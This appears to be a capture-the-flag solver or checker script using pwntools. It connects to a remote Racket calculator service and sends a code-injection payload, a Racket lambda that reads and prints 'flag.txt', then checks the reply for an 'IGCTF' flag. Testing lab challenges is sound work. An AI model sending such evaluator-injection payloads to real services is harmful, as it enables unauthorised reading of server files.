from pwn import *
import sys
import re

# Arg1: IP, Arg2: Port

#io = process(['racket ../calculator-app.rkt'])
try:
    io = remote(sys.argv[1], sys.argv[2])
except:
    print("Challenge not available")
    exit(1)

print(io.recv(3))
io.sendline('((lambda () (call-with-input-file "flag.txt" (lambda (input-port) (let loop ((x (read-char input-port))) (if (not (eof-object? x)) (begin (display x) (loop (read-char input-port)))))))))')
res = io.recvline()
print(res)
if re.findall('IGCTF', str(res)):
    print("Found flag")
    exit(0)
else:
    print("No flag found")
    exit(1)